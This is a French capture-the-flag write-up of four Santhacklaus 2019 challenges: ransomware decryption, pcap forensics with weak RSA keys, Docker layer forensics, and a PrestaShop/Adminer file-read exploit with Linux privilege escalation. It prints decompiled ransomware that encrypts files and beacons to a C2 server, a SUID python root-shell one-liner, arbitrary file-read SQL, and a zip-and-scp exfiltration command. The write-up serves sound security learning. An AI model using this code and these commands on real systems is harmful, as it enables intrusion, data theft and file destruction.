23 challenges de catégories très différentes, variées et innovantes pour certaines ;) - il y avait notamment de la blockchain (Ethereum), de l’OSINT et du SE - étaient présents dans cette deuxième édition du Santhacklaus proposée notamment par Shutdown, m3lsius, Ch3n4p4N, Deldel et leurs sponsors (dédicace à Saluki de Claranet et son chall forensic sur Docker ;) ).
D’après le tweet de Santhacklaus, je suis arrivé 21ème, 19ème individuel et je vais gagner un DVID. De T35H et Hackademint, meroupatate et Bdenneu sont aussi arrivés dans les 25 premiers :D.
Writeups/challenges présents ici en résumé :
NB: je laisse toujours mes scripts tels qu’ils étaient lors du CTF
One of our VIP clients, who wishes to remain anonymous, has apparently been hacked and all their important documents are now corrupted.
Can you help us recover the files? We found a strange piece of software that might have caused all of this.
MD5 of the file : ccaab91b06fc9a77f3b98d2b9164df8e
$ zipinfo chall_files.zip
Archive: chall_files.zip
Zip file size: 399799 bytes, number of entries: 8
drwx--- 3.1 fat 0 bx stor 19-Dec-10 16:44 chall_files/
drwx--- 3.1 fat 0 bx stor 19-Dec-10 16:37 chall_files/vacation pictures/
-rw-a-- 3.1 fat 174736 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0533.jpg.hacked
-rw-a-- 3.1 fat 74368 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0534.jpg.hacked
-rw-a-- 3.1 fat 88176 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0535.jpg.hacked
-rw-a-- 3.1 fat 58400 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/DCIM-0536.jpg.hacked
-rw-a-- 3.1 fat 76 bx defN 19-Dec-10 16:31 chall_files/vacation pictures/READ_THIS.txt
-rw-a-- 3.1 fat 3804 bx defN 19-Dec-10 16:41 chall_files/virus.cpython-37.pyc
8 files, 399560 bytes uncompressed, 398247 bytes compressed: 0.3%
On a un fichier zip contenant un fichier.pyc (du python compilé), un fichier texte inutile ici à part pour le contexte et a priori des images JPEG chiffrés grâce au binaire python.
On décompile le fichier avec uncompyle6. On découvre le code source :
# uncompyle6 version 3.6.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.17 (default, Oct 19 2019, 23:36:22)
# [GCC 9.2.1 20191008]
# Embedded file name: /mnt/c/Users/Mat/Documents/_CTF/Santhacklaus/2019/virus.py
# Size of source mod 2**32: 3473 bytes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib, os, getpass, requests
TARGET_DIR = 'C:\\Users'
C2_URL = 'https://c2.virus.com/'
TARGETS = ['Scott Farquhar', 'Lei Jun', 'Reid Hoffman', 'Zhou Qunfei', 'Jeff Bezos', 'Shiv Nadar', 'Simon Xie', 'Ma Huateng', 'Ralph Dommermuth', 'Barry Lam', 'Nathan Blecharczyk', 'Judy Faulkner', 'William Ding', 'Scott Cook', 'Gordon Moore', 'Marc Benioff', 'Michael Dell', 'Yusaku Maezawa', 'Yuri Milner', 'Bobby Murphy', 'Larry Page', 'Henry Samueli', 'Jack Ma', 'Jen-Hsun Huang', 'Jay Y. Lee', 'Joseph Tsai', 'Dietmar Hopp', 'Henry Nicholas, III.', 'Dustin Moskovitz', 'Mike Cannon-Brookes', 'Robert Miller', 'Bill Gates', 'Garrett Camp', 'Lin Xiucheng', 'Gil Shwed', 'Sergey Brin', 'Rishi Shah', 'Denise Coates', 'Zhang Fan', 'Michael Moritz', 'Robin Li', 'Andreas von Bechtolsheim', 'Brian Acton', 'Sean Parker', 'John Doerr', 'David Cheriton', 'Brian Chesky', 'Wang Laisheng', 'Jan Koum', 'Jack Sheerack', 'Terry Gou', 'Adam Neumann', 'James Goodnight', 'Larry Ellison', 'Wang Laichun', 'Masayoshi Son', 'Min Kao', 'Hiroshi Mikitani', 'Lee Kun-Hee', 'David Sun', 'Mark Scheinberg', 'Yeung Kin-man', 'John Tu', 'Teddy Sagi', 'Frank Wang', 'Robert Pera', 'Eric Schmidt', 'Wang Xing', 'Evan Spiegel', 'Travis Kalanick', 'Steve Ballmer', 'Mark Zuckerberg', 'Jason Chang', 'Lam Wai Ying', 'Romesh T. Wadhwani', 'Liu Qiangdong', 'Jim Breyer', 'Zhang Zhidong', 'Pierre Omidyar', 'Elon Musk', 'David Filo', 'Joe Gebbia', 'Jiang Bin', 'Pan Zhengmin', 'Douglas Leone', 'Hasso Plattner', 'Paul Allen', 'Meg Whitman', 'Azim Premji', 'Fu Liquan', 'Jeff Rothschild', 'John Sall', 'Kim Jung-Ju', 'David Duffield', 'Gabe Newell', 'Scott Lin', 'Eduardo Saverin', 'Jeffrey Skoll', 'Thomas Siebel', 'Kwon Hyuk-Bin']
def get_username():
return getpass.getuser().encode()
def xorbytes(a, b):
if not len(a) == len(b):
raise AssertionError
res = ''
for c, d in zip(a, b):
res += bytes([c ^ d])
return res
def lock_file(path):
username = get_username()
hsh = hashlib.new('md5')
hsh.update(username)
key = hsh.digest()
cip = AES.new(key, 1)
iv = get_random_bytes(16)
params = (('target', username), ('path', path), ('iv', iv))
requests.get(C2_URL, params=params)
with open(path, 'rb') as (fi):
with open(path + '.hacked', 'wb') as (fo):
block = fi.read(16)
while block:
while len(block) < 16:
block += bytes([0])
cipherblock = cip.encrypt(xorbytes(block, iv))
iv = cipherblock
fo.write(cipherblock)
block = fi.read(16)
os.unlink(path)
def lock_files():
username = get_username()
print(username)
if username in TARGETS:
for directory, _, filenames in os.walk(TARGET_DIR):
for filename in filenames:
if filename.endswith('.hacked'):
continue
fullpath = os.path.join(directory, filename)
print('Encrypting', fullpath)
lock_file(fullpath)
with open(os.path.join(TARGET_DIR, 'READ_THIS.txt'), 'wb') as (fo):
fo.write('We have hacked all your files. Buy 1 BTC and contact us at hacked@virus.com\n')
if __name__ == '__main__':
lock_files()
# okay decompiling virus.cpython-37.pyc
On comprend donc que le script va au fur et à mesure chiffrer chaque fichier présent dans TARGET_DIR et les fichiers chiffrés auront l’extension .hacked (fonction lock_files).
Entrons plus dans le vif du sujet en regardant cette fois lock_file. La clé sera dérivée du nom d’utilisateur. Au départ, on peut croire que nous n’avons pas la clé car cela dépend de l’utilisateur actuel mais si on revient dans lock_files, on voit qu’elle fait partie de TARGETS. On a donc l’ensemble des clés potentielles, ce qui réduit pas mal les possibilités :).
On voit qu’on a affaire à de l’AES, a priori en mode ECB (le 1 dans cip = AES.new(key, 1) d’après de la documentation en ligne) ; on comprend mieux pourquoi Bdenneu a déjà solve le chall ;p. Un vecteur d’initialisation est créé “aléatoirement” a priori, bizarre pour de l’ECB mais nous n’avons pas fini de lire le code.
Le code
params = (('target', username), ('path', path), ('iv', iv))
requests.get(C2_URL, params=params)
sert uniquement au mécréant qui voudrait déchiffrer plus tard en envoyant les paramètres importants sur son serveur C2/C&C/Command & Control.
En analysant la boucle, on se rend compte effectivement qu’on n’a en fait pas affaire à de l’AES ECB, mais bien du CBC (petite dédicace à Shusaku/rosenzweig qui avait mal lu le code et était parti sur du CBC avec du XOR ajouté ^^).
cipherblock = cip.encrypt(xorbytes(block, iv))
iv = cipherblock
En effet, l’IV est XORé avec le block plaintext/clair courant puis on passe ensuite seulement le message obtenu à la moulinette AES. Le cipherblock obtenu devient également l’IV pour le bloc suivant, ce qui correspond bien à du CBC.
Enfin, on a un padding très simple :
while len(block) < 16:
block += bytes([0])
Si le dernier bloc clair est inférieur à 16, on le bourre avec des zéros.
Devant un challenge de cryptographie, j’aime bien savoir le mécanisme utilisé dans le détail. Dans notre cas, nous l’avons grâce au schéma de chiffrement en mode CBC précédent. Il faut savoir ce que l’on connaît, ce que l’on ne sait pas et ce que l’on veut.
Ce que l’on connaît :
.jpg.hacked)FFD8 en hexadécimal, un peu plus loin JFIF et finit toujours par FFD9 en hexadécimal.Ce que l’on ne connaît pas :
Ce que l’on veut : on veut les plaintexts et donc a priori pouvoir afficher les images JPEG.
On est donc dans le cas d’une attaque à clair connu (known-plaintext attack ou KPA), sachant qu’on a en plus l’espace fini des possibles pour la clé.
Pour le déchiffrement, on part de la fin (on “swappe” le schéma précédent, de base en haut et de la droite vers la gauche):
On a l’ensemble des clés possibles, on peut donc déjà en discréditer certaines en vérifiant si le plaintext du dernier bloc obtenu avec chaque clé contient FFD9 (normalement D9 juste mais en voyant la taille des fichiers on élimine ce cas). J’ai repris le script précédent en supprimant les dernières fonctions à partir de lock_file incluse :
def unlock_file(path):
for username in TARGETS:
hsh = hashlib.new('md5')
hsh.update(username.encode())
key = hsh.digest()
cip = AES.new(key, 1)
with open(path, 'rb') as (fi):
blocks = fi.read()
end=b'\xff\xd9'
current = blocks[-16:]
last = blocks[-32:-16]
before_aes = cip.decrypt(current)
mess = xorbytes(before_aes,last)
if end in mess:
print(username)
def unlock_files():
if True:
for directory, _, filenames in os.walk(TARGET_DIR):
for filename in filenames:
if not filename.endswith('.hacked'):
continue
fullpath = os.path.join(directory, filename)
print('decrypting', fullpath)
return unlock_file(fullpath)
if __name__ == '__main__':
unlock_files()
En faisant tourner ce petit script, on se rend compte qu’il reste donc 3 clés possibles pour l’image que j’ai choisie au pif et mis dans un répertoire spécifique.
Tiens, on voit Jack parmi ces 3 utilisateurs, on se dit donc que ça doit être la clé vu que le nom du challenge contient Jacques (ce qui fut le cas, après bon on va pas se mentir, on aurait pas perdu beaucoup plus de temps en essayant les autres).
On peut donc déchiffrer avec cette clé, sachant que pour déchiffrer le bloc i-1, il suffit de prendre comme IV le cipher block i. Il faudra juste regarder pour le premier bloc, où on n’a pas l’IV choisi au hasard. J’ai choisi de prendre le header JPEG le plus standard, ce qui a marché du premier coup \o/.
Dans le script précédent, on change unlock_file en ajoutant la boucle pour tout déchiffrer. Avec 2/3 autres modifications, on obtient la fonction suivante qui permettra de déchiffrer toutes les images :
def unlock_file(path):
for username in ["Jack Sheerack"]: #change with current potential keys list
hsh = hashlib.new('md5')
hsh.update(username.encode())
key = hsh.digest()
cip = AES.new(key, 1)
iv = get_random_bytes(16)
with open(path, 'rb') as (fi):
blocks = fi.read()
plain=[]
while len(blocks) > 16:
current = blocks[-16:]
last = blocks[-32:-16]
before_aes = cip.decrypt(current)
mess = xorbytes(before_aes,last)
plain.append(mess)
blocks = blocks[:-16]
first=b'\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x00\x00\x00\x00'
reorder = [first]+plain[::-1]
sol = b''
for el in reorder:
sol += el
with open(path[:-7],'wb') as fo:
fo.write(sol)

SANTA{Jacques_Th3_R1pp3R}
3ème solve iirc
Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
MD5 of the file : c93adc996da5dda82312e43e9a91d053
On tombe sur un fichier pcap ni grand, ni petit, qui ne laisse pas trouver directement le point d’entrée.
Alors, pour les gens qui parlaient de guessing ou de difficulté à trouver le point d’entrée : dans le challenge, on parle de crypto et si on regarde les certificats, on voit des noms de “subjet” et “issuer” plus qu’étranges : “Minister”, “Goulag”, “FTW” ; bref avec ces éléments on sait déjà où on va regarder ;p
Maintenant, partons du principe qu’il n’y avait pas d’éléments étranges dans les certificats et qu’on ne svaait pas qu’il y avait de la crypto :
On regarde les statistiques ( Statistics > Protocol Hierarchy ), on voit surtout de l’HTTP et du TLS/SSL, un peu d’ARP, d’ICMP, de DNS. On regarde donc d’abord l’ARP, l’ICMP et le DNS pour si possible éliminer des pistes : rien de particulier, pas de données et leftoveer data dans l’ICMP et l’ARP, pas d’exfiltration DNS.
On part sur HTTP : beaucoup d’erreurs 404, on remarque qu’il y a du Nmap NSE et de l’énumération avec des wordlists. En filtrant grâce à not (http.response.code==404)
, on ne trouve rien de vraiment intéressant à part une histoire de paquets Debian.
On garde en tête ces paquets debian et on part sur le dernier aspect qui paraît intéressant : les paquets TLS/SSL.
On récupère des certificats sur les paquets Server Hello du handshake (3 certificats différents récupérés) (on rentre dans le paquet, on va jusqu’à Certificate puis on exporte).
On récupère les clés publiques liés aux certificats :
openssl x509 -inform DER -in pub1.der -pubkey -noout > pub1.key
Ils ont une taille correcte (2048 bits). On essaie avec RsaCtfTool, rien ne marche (askip d’après penthium2 maintenant ça a été ajouté), on cherche donc d’autres possibilités. On se rappelle du WU de Shutdown lors des préqualifications pour l’ECSC et celui de Kriss lors du Grehack 2018. On teste l’hypothèse du facteur commun avec fastgcd, elle fonctionne (je vous reporte aux deux liens pour les détails).
NB, digression :
L’idée théorique (mais très peu probable en pratique) derrière cela, c’est que factoriser un nombre pseudo-premier, c’est compliqué/diffcile/long, par contre si on a la chance (infinie) d’avoir plusieurs n différents avec un facteur commun, on est sauvé car c’est assez facile/rapide à trouver/calculer (algorithme d’Euclide pour trouver le PGCD). En gros, dans notre cas, on a de la chance car n1=p1*q1 (modulus de la 1ère clé) et n2=p2*q2 ont un facteur commun dans leur décomposition en facteurs premiers p=p1=p2 et on peut donc décomposer n1 et n2 et créer ainsi leurs clés privées.
Askip ça se fait très bien et rapidement en python, avec Sage ou autre, pas besoin de dl un tool en particulier, un algorithme implémenté bêtement d’Euclide suffirait et serait quasiment instantané à s’exécuter.
python RsaCtfTool -n $n1 -p $p -q $q1 -e 65537 --private > priv1.key
On ajoute les clés privées correspondantes dans WireShark depuis Edit > Preferences (on ajoute un fichier de débug au cas où, pratique parfois si on s’est planté quelque part avant):
On arrive à déchiffrer quelques communications, on suit le flux (clic droit > Follow > TCP Stream). On voit un accès à distance via un reverse shell, puis l’utilisation de LinEnum.sh pour faciliter l’énumération pour une potentielle élévation de privilèges en local puis on voit qu’il peut utiliser python 2.7 qui a un bit setuid/SUID dont l’owner est root. Il devient root grâce à /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' puis il récupère DRUNK_IKEBANA depuis sa machine 172.17.0.1 via wget, qu’il renomme phar.bak et qu’il exécute en background avant de partir.
Le flag est le sha256sum du fichier DRUNK_IKEBANA qu’on extrait (soit directement via les paquets soit en regardant les fichiers exportables depuis HTTP (File> Export Objects > HTTP) encapsulé dans SANTA{} :
SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}
It looks like a naughty developer has been deploying a Docker image on a Santa production server a few days before Christmas.
He was in a rush and was not able to properly pass all security checks on the built Docker image.
Would be a shame if this image could give you an SSH access to the production server...
http://46.30.204.47
First blood mais de peu iirc
On arrive sur une page :
On récupère l’image et les différentes strates/couches (ça peut prendre plus ou moins de temps suivant votre connexion) :
Bon, jusque là, on a encore rien fait :
Je regarde les informations qu’on a dessus avecdocker ps -a, notamment pour récupérer le 'id du conteneur. Je regarde en localhost, rien d’intéressant a priori.
Je me mets un bash dessus mais je ne trouve rien d’intéressant que cela soit en simple user ou en tant que root. (dans le home, potentielles pages web, tâches cron, /etc/passwd, /etc/shadow, /var/log, fichiers cachés .bash_history, .profile, .bashrc, .ssh,… ; le plus intéressant reste encore le JS et le serveur nodeJS).
docker run -t -i santactf/app bash
docker exec -it --user root $container_id bash
On regarde l’historique docker history santactf/app avec l’option --no-trunctrès importante pour avoir un output plus complet/pertinent. On voit que des répertoires et fichiers ont été supprimés, peut-être que le mécréant a essayé de brouiller et cacher maladroitement les traces de son méfait :
rm /home/node/.bashrc /home/node/.bash_history && rm -rf /usr/share/prod-common
Je vais donc regarder les différentes couches et voir si certaines sont intéressantes, sûrement celle avec les suppressions :
root@kali:~/santhack2/for/docker# find /var/lib/docker/overlay2/ -iname .bash_history
/var/lib/docker/overlay2/c8910a015ba11058db0392ba2bd180a4c499e8034daa9245e6c5a88dccf4e36e/diff/home/node/.bash_history
/var/lib/docker/overlay2/d40a21872c41b5c439818f2400db4839b00671ccec99dd0ae1ac708c53019eeb/diff/home/node/.bash_history
On s’intéressera uniquement à d40a21872c41b5c439818f2400db4839b00671ccec99dd0ae1ac708c53019eeb par la suite. On y trouve notamment un .bashrc, un .bash_history dans le home de l’utilisateur et un répertoire /usr/share/prod-common contenant des zip.
Regardons le .bash_history, on trouve des informations qui peuvent paraître intéressantes :
export ARCHIVE_PIN=25362
zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*`
ssh-keygen -t rsa -C jmding0714@gmail.com
ssh -p 5700 rudolf-the-reindeer@46.30.204.47
L’une des archives s’ouvre grâce au mot de passe 25362 (bon, pour la petite histoire j’avais pas encore lu le .bash_history, j’ai juste lancé fcrackzip sur les archives qui a trouvé le mot de passe instantanément pour l’une d’elles xD ; je l’ai capté après avoir flaggé le challenge).
Petit commentaire/aparté lié à fcrackzip, zip2john, john et d’autres outils :
T35H et notamment zteeed/symlink était au TRACS de la DGSE et Centrale Supelec et a eu un problème avec ces deux outils, il nous conseille de préférer cracker-ng. Si quelqu’un a de plus amples informations sur le pourquoi du comment/l’explication, on (disons ils moi j’étais trop vieux pour participer :( ) est preneur (j’avoue ne pas avoir eu le temps de regarder :x ).
Dans l’archive dev_141219_backup.zip, on trouve notamment une clé privée. On essaie de se connecter en ssh mais il nous manque la passphrase. On peut essayer de la cracker mais au bout de quelques minutes je me suis rendu compte que l’ETA de mon john était juste horrible. En fouinant et en faisant des strings et grep, on trouve très rapidement une string qui ressemble à une passphrase dans le .bash_rc :
export PRD_PWD='HoHoHo2020!NorthPole'
On a donc tous les éléments pour se connecter en SSH à la production et on y récupère le flag.
SANTA{NeverTrustDockerImages7263}
https://isc.sans.edu/forums/diary/Forensicating+Docker+Part+1/20835/
https://fr.slideshare.net/JoelLathrop2/docker-forensics
un tool sur GitHub
One of your friend wants to launch his online shop at
https://mystore.santhacklaus.xyz.
You quickly briefed him on the basic principles of IT security and he ensures you that he has followed all your advice.
Conduct your audit and show him that its platform is not properly secured !
On a une URL, on énumère avec (nmap si besoin avec un -T faible), nikto et dirbuster/gobuster avec certaines wordlists (de dirb, dirbuster ou Seclist sur GitHub) et quelques paramètres (ne faire que des GET, enlever les redirections).
Le plugin Wappalyzer (à ne pas utiliserforcément en pentest réel derrière car ça peut porter préjudice au client dans des classements d’après Th1b4ud) nous signale qu’il s’agit d’un CMS prestashop, qu’on a une base de données MySQL derrière et un serveur nginx, sans précision de version apparente.
Bon, c’est le paragraphe “je cherche comme un damné” car je suis pas pentester et je connais pas PrestaShop.
Je lance metasploit et searchsploit, trouve quelques exploits dont notamment sur des modules mais le prestashop paraît à jour et les modules soit absents, soit à jour. Je remarque des modules sans le fameux ps_ devant mais cela ne donnera rien. Je me suis aussi embêté en essayant d’effectuer une SQLI sur un paramètre en GET dans l’URL (champ order qui pouvait faire apparaître une page blanche quand on injectait parfois n’importe quoi). Il y avait aussi le get-file (Disallow: /*controller=get-file) dans le robots.txt qui m’énervait mais ça n’a rien donné.
On a deux endroits où on a des pages d’authentification mais les injections et le bruteforce ne semble pas fonctionner. On crée un compte et se logge mais on ne trouve rien de très intéressant non plus.
Il fallait partir sur la présence d’adminer.php. C’est une sorte de PHPMyadmin/PhppgAdmin en plus léger si j’ai bien compris. On tombe sur une page d’authentification.
Ce qui paraît assez marrant c’est qu’a priori on peut mettre autre chose que localhost qui est juste dans le placeholder. Avant d’essayer de bruteforcer et , je regarde s’il y a des exploits et/ou POC et je tombe sur cette page ou un retour après un bug bounty privé. A priori bingo ça paraît être le jackpot !
Bon, n’ayant pas de box à disposition, il me faut une database exposée sur Internet, je tente ma chance sur des sites de hosting gratuit de bdd mais à chaque fois pas de bol je reste bloqué car je n’ai pas assez de droits pour changer l’option de sécurité et permettre à la commande LOAD DATA LOCAL... de pouvoir s’exécuter. Askip on pouvait quand même s’en sortir mais je suis une branque…
J’utilise un VPS gratuit pendant un jour sans carte de crédit (oui ça existe, ça m’a choqué o_O mais voilà par exemple xD).
J’ai installé MySQL sur une debian (attention il faut prendre l’option basique d’authentification ou bien le changer plus tard avec alter user 'username'@'localhost' identified with mysql_native_password by 'password';), ait rajouté un mdp pour root, ait créé un utilisateur avec tous les privilèges et une base de données foo. On vire la sécurité :
SHOW GLOBAL VARIABLES LIKE 'local_infile';
SET GLOBAL local_infile = 'ON';
SHOW GLOBAL VARIABLES LIKE 'local_infile';
On va permettre l’utilisation à distance en ajoutant bind-adress= :: dans la configuration mySQL mycnf. On oublie pas de relancer mysql et on est paré !
On se connecte donc, on crée une table test avec un attribut avec un champ texte , on se rend dans la console MySQL où on peut écrire et exécuter du SQL et on commence à voir si la vulnérabilité est bien confirmée/présente en tentant d’afficher /etc/passwd puis shadow (lol), ce qui marche pour le premier.

Pas très intéressant a priori, beaucoup de comptes actifs standards, on se réjouit quand même quelques nanosecondes car la vulnérabilité est bien présente et exploitable ; puis on relativise, car on va devoir donc chercher à l’aveuglette des fichiers intéressants en connaissant leur chemin relatif ou absolu et leur nom précis …
J’ai regardé nginx et sa conf, rien d’intéressant. On cherche sur Internet ce qui peut être intéressant dans le cas de Prestashop avec une version récente (1.7), les forums ont l’air pas mal pour ça.
Exemples de pages et requêtes testées :
load data local infile 'app/config/settings.inc.php'
into table foo.test
fields terminated by '\n'
load data local infile 'app/config/parameters.yml'
into table foo.test
fields terminated by '\n'
load data local infile 'app/config/parameters.php'
into table foo.test
fields terminated by '\n'
Dans le dernier, app/config/parameters.php, on trouve les informations suivantes :
//@deprecated 1.7
parameters:
<?php return array (
‘parameters’ =>
array (
‘database_host’ => ‘127.0.0.1’,
‘database_port’ => ‘’,
‘database_name’ => ‘prestashop’,
‘database_user’ => ‘john’,
‘database_password’ => ‘KA6$g@Tx0{(Si4bR3DT4’,
‘database_prefix’ => ‘ps_’,
‘database_engine’ => ‘InnoDB’,
‘mailer_transport’ => ‘smtp’,
‘mailer_host’ => ‘127.0.0.1’,
‘mailer_user’ => NULL,
‘mailer_password’ => NULL,
‘secret’ => ‘nQsRnKmatOwiramvHwkXL7tENOXHJXzX6aRcTHvbF1mpPuwoxXhnJYHK’,
‘ps_caching’ => ‘CacheMemcache’,
‘ps_cache_enable’ => false,
‘ps_creation_date’ => ‘2019-11-27’,
‘locale’ => ‘fr-FR’,
‘cookie_key’ => ‘fgEckT9sZEACDaiAfoaYz0X2A89xgskcStbCP9KJx1brOsT1uNc9sxs9’,
‘cookie_iv’ => ‘U6CcJzx1’,
‘new_cookie_key’ => 'def00000a1f9838c15944a070f20c3d1720aa6ec86e0c0291f3058d218087a33b62f9913f78…
),
);
On a des creds pour la base de données prestashop de PrestaShop \o/ : john:KA6$g@Tx0{(Si4bR3DT4
On se connecte donc à cette base de données avec Adminer.php cette fois en localhost avec les informations qu’on vient de trouver.
On cherche ce qui pourrait être intéressant, a priori déjà dans les tables ps_customer et ps_employee. On a le mail de john qui serait utile pour se connecter avec son compte sur le site mais rien d’autres de vraiment intéressants, on est un peu (beaucoup) triste :(
On essaie de se ssh avec les creds utilisés en espérant vainement du password reuse et … bingo ça marche xD.
root@kali:~/santhack2/web/presta# nslookup mystore.santhacklaus.xyz
Server: 192.168.1.254
Address: 192.168.1.254#53
Non-authoritative answer:
Name: mystore.santhacklaus.xyz
Address: 46.30.204.42
root@kali:~/santhack2/web/presta# ssh john@46.30.204.42
john@46.30.204.42's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Dec 30 16:01:19 UTC 2019
System load: 0.14 Processes: 187
Usage of /: 33.8% of 19.56GB Users logged in: 0
Memory usage: 40% IP address for ens33: 172.21.44.11
Swap usage: 0%
* Overheard at KubeCon: "microk8s.status just blew my mind".
https://microk8s.io/docs/commands#microk8s.status
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
22 paquets peuvent être mis à jour.
0 mise à jour de sécurité.
Last login: Fri Dec 27 19:39:48 2019 from 88.124.75.153
john@ctf01:~$ id && cat flag.txt
uid=1001(john) gid=1001(john) groups=1001(john)
SANTA{That-W4Z/a/C0ol-CV3!}
Pour la petite histoire, je suis arrivé sur la machine, il y avait pas le flag, le home et tmp était sale (scripts d’énumération, bash_history non cleané,…), au début je pensais que le user flag c’était celui d’admin et qu’après avoir privesc sur admin on devrait privesc pour être root … Vu que j’hésitais, j’ai demandé à Ch3n4p4n en mode “ouasi ça doit être ça” et en fait nan il fallait bien trouver le flag dans le home de john -_-. Je crois c’est l’un des seuls moments où j’ai ragé du CTF… Merci à Ch3n4p4n pour sa réactivité <3
SANTA{That-W4Z/a/C0ol-CV3!}
Your friend is shocked by what you have just managed to do on his platform.
Show him that the audit is not finished and get a little more privileges on his server.
On le débloque après avoir trouvé le premier flag en local en tant que john suite à la partie 1.
On énumère à la main et avec des scripts utiles pour les privesc (Linenum ou LSE (askip c’est mieux, genre plus rapide et complet, en pratique j’en sais rien xD)). On regarde les services qui tournent, leurs versions, la version du kernel (uname -a). On est pas sudoer (sudo -l) et on peut pas su :(. On regarde les binaires avec bit SUID/setuid et avec l’owner admin ou root.
Pas accès à /etc/shadow, on voit rien d’intéressant dans /var/log, on regarde les processus qui tournent et les tâches cron (/etc/crontab, pspy, ps -aux). On voit un autre utilisateur, admin. On peut voir son home et notamment flag.txt.
NB :
Si vous avez des conseils pour les privesc, je suis preneur (je suis relativement nouveau et pas très bon sur les privesc, que ça soit Linux ou Windows xD).
On capte (ENFIN) qu’il y a un problème de capabilities :
getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/zip = cap_dac_read_search+ep
On doit le voir sur Linenum et LSE mais bon comme ça on connait et on se rappelle de la commande.
Pour le binaire/la commande zip, on a donc assez en lecture partout. Vu qu’on voit qu’il y a un flag.txt dans le home de admin, on ne va pas s’en priver :) :
zip a.zip /home/admin/flag.txt && scp a.zip USER@IP:flag.zip && rm a.zip
On récupère le flag dans un zip chez nous, on le dézippe et on a notre flag \o/
SANTA{4lWayZ-cH3cK-C4paBiliT13s}